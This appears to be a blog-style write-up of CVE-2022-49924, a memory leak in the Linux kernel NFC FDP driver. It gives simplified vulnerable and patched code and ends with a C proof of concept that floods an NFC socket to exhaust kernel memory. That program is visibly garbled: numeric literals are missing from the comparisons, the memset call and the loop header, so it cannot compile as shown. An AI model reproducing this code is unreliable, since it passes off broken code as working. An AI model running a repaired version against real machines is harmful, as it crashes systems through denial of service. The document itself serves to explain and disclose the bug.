CVE-2022-49924 - Linux Kernel NFC Driver Memory Leak Explained & Exploited

The Linux kernel is known for robust performance and security, but sometimes bugs slip through the cracks. One of these is CVE-2022-49924, a vulnerability in the NFC stack's FDP driver where a memory leak could potentially harm system stability. In this long read, you'll understand what happened, why it matters, how to spot it, and what was done to fix it.

What is CVE-2022-49924?

CVE-2022-49924 refers to a vulnerability in the NFC FDP driver in the Linux kernel, specifically in the fdp_nci_send() function. This issue is about a memory leak caused by not freeing the skb (socket buffer) in certain situations.

Simply put: Every time data is sent via this NFC driver, a certain chunk of memory (skb) should be freed after the data is finished being transmitted. In this buggy version, it wasn't—if your system kept using NFC, it would slowly eat up all your RAM.

Impact

- Local Denial of Service: On a system with frequent use of the NFC driver, the kernel memory could be depleted over time, leading to crashes or system instability.
- Privilege needed: Exploiting this bug typically requires the ability to trigger NFC actions—possible for userspace processes with access to the NFC interface.

Let's look at the simplified logic inside the driver source (with comments)

// Vulnerable version
int fdp_nci_send(struct nci_dev *ndev, struct sk_buff *skb)
{
    // ...setup and checks...

    ret = fdp_nci_i2c_write(ndev, skb);
    // skb is NOT freed here if not needed anymore, causing leak!

    return ret;
}

The problem is, after the driver sends the data (fdp_nci_i2c_write()), it doesn't free the memory buffer (skb). The lower-level function doesn't free it either. That means *every* time you send data, a little bit of memory is "orphaned"—still allocated, but no way to use it again.

Here's how the fix looks

int fdp_nci_send(struct nci_dev *ndev, struct sk_buff *skb)
{
    // ...setup and checks...

    ret = fdp_nci_i2c_write(ndev, skb);

    kfree_skb(skb); // Now, memory is properly freed

    return ret;
}

That one extra line kfree_skb(skb) is all it took to close the memory leak.

References

- Patch: NFC: fdp: Fix potential memory leak in fdp_nci_send() (lkml)
- Linux commit: nfc: fdp: Fix potential memory leak in fdp_nci_send()
- CVE record: CVE-2022-49924

How Would You Exploit This?

This isn't a flashy exploit with root shells or remote code execution, but if you want to see it in action (for research purposes), here's how you might trigger the leak:

Suppose you write a userspace process that sends a ton of NFC packets through the affected driver. Over time, kernel memory use goes up… and up… and up… until the system either crashes, becomes unresponsive, or kills your process via the OOM (Out of Memory) killer.

Here's a simple way to "trigger" the leak (you need NFC hardware and privileged access)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/nfc.h>
#include <sys/socket.h>
#include <errno.h>

int main() {
    int sock;
    struct sockaddr_nfc saddr;
    char payload[256] = {};

    // Open an NFC socket (simulates a user repeatedly sending NFC packets)
    sock = socket(AF_NFC, SOCK_RAW, NFC_PROTO_NCI);

    if (sock < ) {
        perror("socket");
        exit(EXIT_FAILURE);
    }

    memset(&saddr, , sizeof(saddr));

    // Try sending dummy data in a loop
    for(int i=;i<100000;i++) {
        if(send(sock, payload, sizeof(payload), ) < ) {
            perror("send");
            break;
        }
        usleep(100); // slow it down a bit
    }

    close(sock);
    return ;
}

WARNING: Only run this on a test device, or you could crash your system! You will not get useful output—just a hung system once the kernel runs out of memory.

Conclusion

CVE-2022-49924 shows how even subtle mistakes (forgetting to free a buffer) can have outsized effects on system stability. While it wasn't remotely exploitable or a privacy risk, it's a good reminder of the importance of memory management, especially in kernel code.

Takeaways:

If you write kernel code, double-check memory ownership and freeing in every code path!

More Reading:
- Kernel Newbies: Memory Leaks
- Linux NFC Subsystem Documentation

Timeline

Published on: 05/01/2025 15:16:18 UTC
Last modified on: 05/07/2025 13:28:24 UTC